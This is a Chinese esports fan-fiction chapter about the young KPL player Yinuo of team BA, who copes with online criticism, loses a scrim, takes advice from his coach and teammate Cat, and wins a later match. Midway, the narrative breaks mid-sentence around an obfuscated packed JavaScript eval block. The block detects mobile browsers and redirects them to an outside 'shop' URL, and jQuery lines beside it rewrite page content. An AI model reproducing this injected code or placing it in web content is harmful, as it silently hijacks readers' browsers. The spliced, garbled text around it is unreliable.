2018年10月，BA黑凤梨训练基地
清晨六点四十七分，天光未亮。
徐必成是被手机震动吵醒的。不是闹钟——昨晚复盘到凌晨三点，他设的闹钟是八点——而是微信消息的连续提示音，密集得像暴雨敲窗。
他迷迷糊糊摸到手机，屏幕的冷光刺得眼睛生疼。
微信群里消息爆炸：
“成哥！你又上热搜了！”
“牛啊一诺，昨天那局公孙离被官方做成集锦了！”
“看看这个B站视频，点击已经五十万了！”
徐必成揉了揉眼睛，点开其中一个链接。
跳转到B站，标题赫然写着：“【KPL新神诞生】一诺公孙离极限操作合集，这操作是人打的？？？”
视频时长七分半，剪辑了他首秀至今的所有高光时刻：塔下强杀虔诚、团战三进三出、极限逃生反杀……弹幕厚得几乎遮住画面：
“这新人太离谱了”
“操作怪本怪”
“BA捡到宝了+1”
“没人觉得他长得还挺帅吗”
“楼上，电子竞技看实力！”
徐必成滑到评论区，热评第一写着：“这天赋，不拿冠军说不过去吧？”
他盯着那句话看了三秒，然后关掉手机。
窗外，上海的天空是暗蓝色的，远处高楼顶部的航空警示灯一闪一闪。宿舍里很安静，小兽还在熟睡，呼吸声均匀绵长。徐必成轻手轻脚爬下床，洗漱，换上运动服，戴上口罩和帽子。
他要出去跑步。
这个习惯是从一个月前开始的。首秀之后，他的生活发生了某种质变——训练赛日程翻倍，采访邀约不断，微博粉丝数像坐了火箭一样冲到二十万，每条动态下面都有几千条评论。
压力也随之而来。
第二场比赛他拿了马可波罗，数据平平，虽然赢了，但赛后评论里开始出现不和谐的声音：
“就这？首秀即巅峰？”
“果然新人还是不稳定”
“被研究透了吧”
教练拍拍他肩膀说别在意，Cat也说舆论就是这样反复无常。但徐必成发现自己做不到——他会在训练结束后偷偷翻评论，会把那些负面的话记在心里，然后在下一场比赛里更用力地想要证明自己。
结果往往是更糟。
跑步能让他暂时忘记这些。
清晨的街道空旷安静，只有环卫工人在清扫落叶。徐必成沿着固定的路线慢跑，呼吸在冷空气中凝成白雾。耳机里放着纯音乐，没有歌词，只有钢琴和提琴的交织。这是他一天中唯一完全属于自己的时间。
跑到第三个路口时，手机又震动了。
他停下来，靠在路边梧桐树上喘气。是俱乐部经理发来的消息：“今天下午有个专访，联盟官方媒体的，我给你推了联系方式。好好准备，别乱说话。”
后面附了一个文档，里面是可能被问到的问题和标准答案。
徐必成点开看了看，都是些老生常谈：“如何适应职业节奏”、“对未来的期待”、“想对粉丝说什么”。答案写得四平八稳，符合一个“乖巧新人”的人设。
但他不喜欢。
“收到。”他还是回了这两个字。
继续跑步。
---
下午两点，采访间。
采访记者是个三十岁左右的男人，戴着黑框眼镜，说话语气温和。但徐必成能感觉到，那双镜片后的眼睛在审视自己——不是恶意的审视，而是一种职业性的观察，像在评估一件商品的价值。
“首先恭喜BA目前七连胜，你在其中的表现非常亮眼。”记者翻开笔记本，“很多观众评价你是‘天才型选手’，你自己怎么看这个标签？”
徐必成握紧了放在膝盖上的手。
这个问题不在经理给的文档里。
他想了想，谨慎地回答：“我觉得……没有所谓的天才。大家看到的只是比赛那几十分钟，但背后是每天十几个小时的训练。如果硬要说有什么不同，可能是我比较喜欢研究操作细节。”
“比如？”
“比如每个英雄的技能前后摇、攻速阈值、位移距离……”说起这些，徐必成的语气自然了些，“我会在训练模式里反复测试，记下来，然后在实战里应用。”
记者飞快记录：“所以你是数据流选手？”
“不算吧。”徐必成摇头，“数据是基础，但比赛里更多是靠感觉。什么时候该上，什么时候该撤，那种判断……很难用数据量化。”
“那这种‘感觉’是怎么培养的？”
“打得多，想得多，输得多。”徐必成顿了顿，“输的时候想得最多。”
记者笑了：“很实在的回答。我注意到你每场比赛后都会复盘，这个习惯是怎么养成的？”
“Cat哥教的。”徐必成说，“他说，赢要知道为什么赢，输要明白为什么输。稀里糊涂地赢，比明明白白地输更可怕。”
接下来的问题都比较温和。徐必成按照文档上的思路回答，偶尔加入一点自己的真实想法。采访进行到一半时，记者忽然问：“你有看网上的评论吗？关于你的那些……争议。”
徐必成的手指收紧。
“偶尔会看。”
“那你怎么处理负面评价？比如有人说你‘状态不稳定’、‘英雄池浅’。”
训练室里，Cat的声音在耳边回响：“别盯着黑暗看……”
但徐必成没说这句话。他沉默了几秒，然后抬起头：“我会用比赛回应。”
记者愣了愣，随即笑了：“很直接。期待你接下来的表现。”
采访结束，徐必成走出房间，在走廊里深深吸了口气。经理等在门口，拍拍他肩膀：“回答得不错，特别是最后那句，有气势。”
徐必成扯了扯嘴角，没说话。
他其实想说，那句话不是“有气势”，而是他唯一能想到的、不让自己被那些声音吞没的办法。
---
当晚训练赛，对阵EDG.M。
BA训练室灯火通明。五台电脑并排，键盘敲击声清脆密集。白板上画着今天的战术重点：针对初晨的野区，保护一诺发育。
徐必成活动了一下手腕，戴上耳机。
进入房间，对面五个ID整齐排列。初晨、浪浪、无痕……这些都是联盟里响当当的名字。一个月前，徐必成还会因为这些ID而紧张，但现在，他只想赢。
BP开始。
EDG.M蓝色方，第一轮Ban位给到了六点六的关羽和Cat的干将——常规针对。BA按掉裴擒虎和盾山。
EDG.M一楼抢下公孙离。
“他们以选代Ban。”教练的声音从后面传来，“一诺，你想拿什么？马可还是孙尚香？”
徐必成盯着那个公孙离的头像。
这是挑衅，也是认可——认可到需要亲自禁掉你的绝活英雄。
“孙尚香。”他说。
锁定。
阵容确定：
BA：孙尚香（一诺）、武则天（Cat）、白起（六点六）、鬼谷子（770）、赵云（小兽）
EDG.M：公孙离（初晨）、张良（浪浪）、花木兰（无痕）、太乙真人（koko）、娜可露露（初晨）
加载界面，徐必成活动了一下手指。
比赛开始。
开局平稳发育，双方打野都在寻找机会。两分钟暴君刷新，EDG.M率先开龙。BA选择接团，六点六白起闪现开团，但被无痕的花木兰重剑一技能拍起三人。
团战瞬间爆炸。
徐必成的孙尚香在后排输出，但EDG.M的注意力全在他身上。张良闪现大招按住，公孙离跟上输出。尽管770的鬼谷子尽力拉扯，孙尚香还是第一个倒下。
“First Blood！”
送出一血。
紧接着Cat的武则天被娜可露露切死，BA被打出0换3，丢掉暴君和一塔。
经济瞬间落后两千。
“我的。”徐必成说。他刚才站位太靠前了，想打更多输出，结果被抓住机会。
“没事，稳住。”Cat的声音很平静，“他们阵容前期强，我们拖后期。”
但EDG.M显然不打算给机会。初晨的娜可露露配合无痕的花木兰疯狂入侵野区，小兽的赵云发育严重受限。徐必成每次想出去吃线，都要提防草丛里可能蹦出来的张良。
八分钟，经济差拉到五千。
徐必成的手指开始发凉。他能感觉到自己的操作变形了——翻滚后忘记接普攻，走位出现不该有的失误。每次失误，他心里就沉一分。
十二分钟，高地团。
EDG.M带着主宰先锋压上高地。六点六的白起抓住机会大招嘲讽到三人，Cat武则天跟上大招。
“可以打！”徐必成精神一振。
孙尚香翻滚上前，一炮打在公孙离身上——暴击！公孙离瞬间残血！
但几乎同时，无痕的花木兰从侧面闪现切入，重剑二技能推中孙尚香。徐必成想交净化，但手速慢了半拍。
被秒了。
屏幕灰掉的那一刻，他听到初晨的公孙离拿下三杀的播报。
水晶爆炸。
训练赛结束，0:2，BA被零封。
训练室里一片寂静。
只有键盘鼠标被放下的声音。徐必成摘掉耳机，盯着屏幕上刺眼的“失败”二字，喉咙发紧。
“复盘。”教练的声音响起。
所有人移动到会议桌。投影仪打开，播放刚才的比赛录像。教练用激光笔指着屏幕，语气严肃但不严厉：“第一波龙团，问题在哪里？”
“我开团急了。”六点六说。
“我被张良按了。”徐必成说。
“不是这个问题。”教练摇头，“你们看这里——”
画面暂停在龙团前五秒。
“一诺，你为什么在这个位置？”
徐必成看过去。那是中路右草，孙尚香蹲在那里，想找机会消耗。但那个位置，一旦被开，完全没有逃生空间。
“我想偷点伤害……”
“然后送了。”教练点了点屏幕，“你是射手，是全队的后期保障。你死了，我们这局基本就没了。明白吗？”
徐必成低下头：“明白。”
“天才也要学会忍耐。”教练换了个语气，“你有操作，有意识，但缺少经验。什么时候该凶，什么时候该怂，这个度你要自己把握。”
复盘持续了一个小时。每一波团战，每一个决策，都被掰开揉碎分析。徐必成的笔记本又多了三页——都是问题，都是失误。
结束时已经晚上十点。
“今天早点休息，明天继续。”教练合上笔记本，“一诺留一下。”
其他队友陆续离开。Cat走到门口，回头看了徐必成一眼，眼神复杂，但没说什么。
训练室里只剩下徐必成和教练。
“坐。”教练指了指椅子。
徐必成坐下，手指无意识地抠着裤缝。
“最近压力很大？”教练问。
“……有一点。”
“我看出来了。”教练叹了口气，“你打得越来越急，越想证明自己，失误越多。这是个恶性循环。”
徐必成没说话。
“你知道联盟里有多少‘天才’吗？”教练自问自答，“每年都有，像雨后春笋一样冒出来。但三年后还在打的，不到十分之一。为什么？”
徐必成摇头。
“因为心态。”教练点了点自己的太阳穴，“天赋决定上限，但心态决定下限。你可以在操作上碾压对手，但一旦心态崩了，操作就会变形，判断就会失误。到时候，天赋反而会成为你的负担——因为所有人都会说：‘看，那个天才又送了’。”
窗外传来汽车鸣笛声，遥远而模糊。
“今天采访你说，会用比赛回应质疑。”教练看着他，“这个想法很好。但你要明白，回应不是一场两场，而是一个赛季，一年，整个职业生涯。你要有打持久战的准备。”
徐必成抬起头：“我该怎么做？”
“两件事。”教练伸出两根手指，“第一，卸载微博，至少常规赛期间别看了。第二，把‘天才’这个标签从脑子里摘掉。你就是徐必成，一个正在学习怎么打职业的新人。赢了，是团队打得好；输了，是团队没打好。别把全世界的重量都扛在自己肩上。”
徐必成沉默了很久。
然后他点头：“我试试。”
“回去吧。”教练拍拍他肩膀，“明天训练赛，我要看到你的改变。”
---
徐必成没有直接回宿舍。
他去了二楼的阳台。那里很少有人来，只有几盆半死不活的绿植和一个旧沙发。他窝在沙发里，看着楼下的街景。
夜色已深，但城市的灯火永不熄灭。车流像发光的河流，在高架桥上缓缓流淌。远处，KPL电竞中心的轮廓在夜色中隐约可见——那里是他战斗的地方，也是无数目光聚焦的地方。
手机在口袋里震动。
他掏出来看，是妈妈发来的微信：“儿子，睡了吗？妈妈看你今天好像有比赛？”
徐必成眼眶一热。
他打字：“训练赛，输了。”
消息发出去，他立刻后悔了。妈妈不懂电竞，她只会担心。
但妈妈的回复很快：“输了就输了，下次赢回来。记得吃饭，别熬夜。”
简单的几句话，却像暖流一样涌进心里。
他又打开微博——教练说要卸载，但他还没做到。点开搜索框，输入“一诺”。
实时微博跳出来：
“今天训练赛据说被EDG.M暴打，天才就这？”
“早说了新人昙花一现”
“BA七连胜要断咯”
但也有些不同的声音：
“一场训练赛而已，别贷款输赢”
“相信一诺能调整过来”
“电子竞技有输有赢很正常”
徐必成一条条翻过去，心情像坐过山车。看到恶评会愤怒，看到鼓励会感动，看到理性分析会思考。最后他停在一条微博上，是那个叫“薇风拂晓”的粉丝发的：
“看了今天的采访，一诺说‘用比赛回应’。这句话让我想起自己刚工作时，被质疑能力，也是憋着一股劲想证明自己。后来发现，最好的证明不是一时的爆发，而是持续的成长。给新人一点时间，也给自己一点耐心。相信他。”
配图是一张手绘——Q版的一诺拿着孙尚香的炮，眼神坚定。
徐必成盯着那张画看了很久。
然后他点开私信，输入：“谢谢你的画。今天训练赛输了，但我会赢回来的。”
发送。
几乎是立刻，对方回复了：“训练赛的输赢不重要，重要的是学到东西。早点休息，明天又是新的一天。”
徐必成盯着那句话，忽然笑了。
是啊，明天又是新的一天。
他关掉手机，靠在沙发上。夜风吹过来，带着初冬的寒意。远处传来隐约的音乐声，不知道是哪家酒吧还在营业。
他想起了很多事。
想起第一次接触王者荣耀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028840|194480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，是高一那年同桌推荐的。那时他只是当消遣，没想到会沉迷。
想起第一次打上王者，兴奋得一夜没睡。
想起第一次直播，只有七个观众，但他还是认真地讲解每一个操作。
想起青训选拔赛，他拿了五杀，被BA的教练看中。
想起第一次穿上队服，第一次走进训练室，第一次和Cat他们一起打训练赛……
这一路走来，其实很快乐。
即使有压力，即使被质疑，但当他坐在电脑前，戴上耳机，进入游戏的那一刻，一切都是纯粹的——只有胜利，只有操作，只有和队友并肩作战的信任感。
这才是他打职业的初心。
“想通了？”
身后传来声音。
徐必成回头，看到Cat站在阳台门口，手里拿着两罐可乐。
“Cat哥还没睡？”
“睡不着。”Cat走过来，递给他一罐，“看你房间灯黑着，猜你在这儿。”
两人并排坐在旧沙发上，拉开可乐罐，气泡声在寂静的夜里格外清晰。
“教练找你谈话了？”Cat问。
“嗯。”
“说什么了？”
“让我卸载微博，别把自己当天才。”
Cat笑了：“早该这样了。你知道我刚打职业那会儿，被叫什么吗？”
“什么？”
“中单法王，天才少年，KPL的未来。”Cat喝了一口可乐，“然后我飘了，训练不认真，比赛瞎打。结果呢？连跪，被按在替补席，差点退役。”
徐必成惊讶地看着他。Cat现在可是联盟顶级中单，很难想象他有过那样的低谷。
“后来我想通了。”Cat看着远处，“所谓的‘天才’，不过是比别人起步早一点，理解快一点。但职业这条路，最后拼的是谁更持久，谁更稳定，谁能在低谷里爬起来继续走。”
夜空中，一架飞机缓缓飞过，红色的航灯一闪一闪。
“Cat哥，你打过最艰难的比赛是哪场？”徐必成忽然问。
Cat想了想：“去年秋季赛，打XQ。那场输了就进不了季后赛。前两局被碾压，第三局开局又劣势。当时我觉得完了，真的完了。”
“然后呢？”
“然后我们翻了。”Cat笑了，“具体怎么翻的我忘了，只记得水晶爆炸那一刻，我手抖得连耳机都摘不下来。后来看回放，发现那一局我们其实有很多失误，但就是没放弃，一点点找机会，最后抓住了对方的破绽。”
他转向徐必成：“所以啊，输不可怕，怕输才可怕。你是新人，有失误的权利，有成长的时间。别让那些乱七八糟的声音，偷走了你打游戏的快乐。”
徐必成点点头。
两人又坐了一会儿，聊了些无关紧要的事——哪个战队的食堂最好吃，哪个解说的口误最搞笑，哪个英雄的新皮肤最帅。没有训练，没有比赛，没有压力，只是两个同龄人在深夜闲聊。
最后Cat站起来：“回去睡吧，明天还要训练。”
“好。”
徐必成也跟着起身。走到门口时，他忽然说：“Cat哥，谢谢。”
“谢什么？”
“谢谢你……带我。”
Cat愣了一下，然后笑了，揉了揉他头发：“傻。走了。”
回到宿舍，小兽已经睡着了。徐必成轻手轻脚洗漱，躺到床上。他打开手机，没有看微博，而是打开了相册。
里面存着很多截图：第一次五杀，第一次上国服，第一次训练赛胜利，第一次正式比赛……
他一张张翻过去，最后停在一张照片上——那是首秀那天，比赛结束后在后台拍的。他举着MVP的奖牌，笑得有点傻，但眼睛很亮。
那时的他，不知道前路有多少挑战，也不知道会背负多少期待。
但他知道，他喜欢这个赛场。
这就够了。
徐必成关掉手机，闭上眼睛。
明天，训练赛，他要改变。
不是为证明给谁看，只是因为他想赢，因为他喜欢赢。
---
一周后，BA黑凤梨 vs QGhappy，常规赛第八轮。
比赛开始前，徐必成坐在选手席上，平静地调试设备。今天他打的是孙尚香，对面刺痛拿的是公孙离。
镜头给到他特写时，解说李九说：“一诺今天看起来很沉稳啊，不像之前那么急躁了。”
琪琪接话：“新人都是要交学费的，看来他学得很快。”
BP结束，进入游戏。
开局双方和平发育。徐必成的孙尚香稳扎稳打，补刀几乎全收，经济始终领先刺痛。两分钟暴君团，他没有像以前那样急于进场，而是等六点六的白起开团后，才从侧翼输出。
精准的翻滚，恰到好处的站位，每一炮都打在关键位置。
“Double Kill！”
孙尚香拿下双杀。
此后节奏完全被BA掌控。徐必成不再追求个人高光，而是完全融入团队——该发育时发育，该打团时打团，该让资源时毫不犹豫地让。
十八分钟，BA推掉QGhappy水晶。
徐必成的战绩：8/1/5，输出占比34%，参团率82%。
数据不算爆炸，但足够稳定。
赛后采访，记者问：“今天打得很稳，是特意调整了风格吗？”
徐必成想了想，说：“之前太想证明自己，反而打不好。现在觉得，能赢就行，不管用什么方式。”
记者追问：“那‘天才’这个标签呢？还介意吗？”
徐必成笑了，很浅的笑，但很真实：“我只是个打游戏的，标签什么的，不重要。”
他说的是真心话。
这一周，他卸载了微博，不再看评论。训练时专注提升自己，休息时和队友聊天打闹。他发现，当他不去在意那些声音时，那些声音反而伤害不到他了。
回到后台，教练拍拍他肩膀：“今天打得很好。”
“团队打得好。”徐必成说。
Cat走过来，勾住他脖子：“可以啊小子，学会说场面话了。”
“跟你学的。”
众人都笑了。
那天晚上，徐必成照例复盘比赛。笔记本上，他写下新的心得：
“射手的第一要义是活着。活着才有输出。”
“相信队友，他们能创造机会。”
“别想着当英雄，当赢家。”
写完这些，他合上笔记本，走到窗前。
窗外夜色深沉，但训练基地灯火通明。他能看到隔壁楼里，其他战队的训练室也亮着灯。这个城市，这个行业，有无数人和他一样，在深夜里依然奋战。
他们都有天赋，都有梦想，都想赢。
但最后能走到哪一步，取决于谁能在漫长的黑暗中，守住最初的那点光。
徐必成拿出手机，给妈妈发了条消息：“妈，今天赢了。我挺好的，别担心。”
然后他点开那个很久没看的微博，找到“薇风拂晓”，发了条私信：“今天赢了，打得很稳。你上次说的话，我想明白了。”
这次对方没有立刻回复。
但他知道，总会有人看到的。
总会有人，在某个角落，为他加油。
这就够了。
徐必成关掉灯，走出训练室。
走廊的声控灯应声亮起，一盏接一盏，像为他铺开的星光大道。
路还很长。
但他已经准备好，一步一步走下去。
【第二章·完】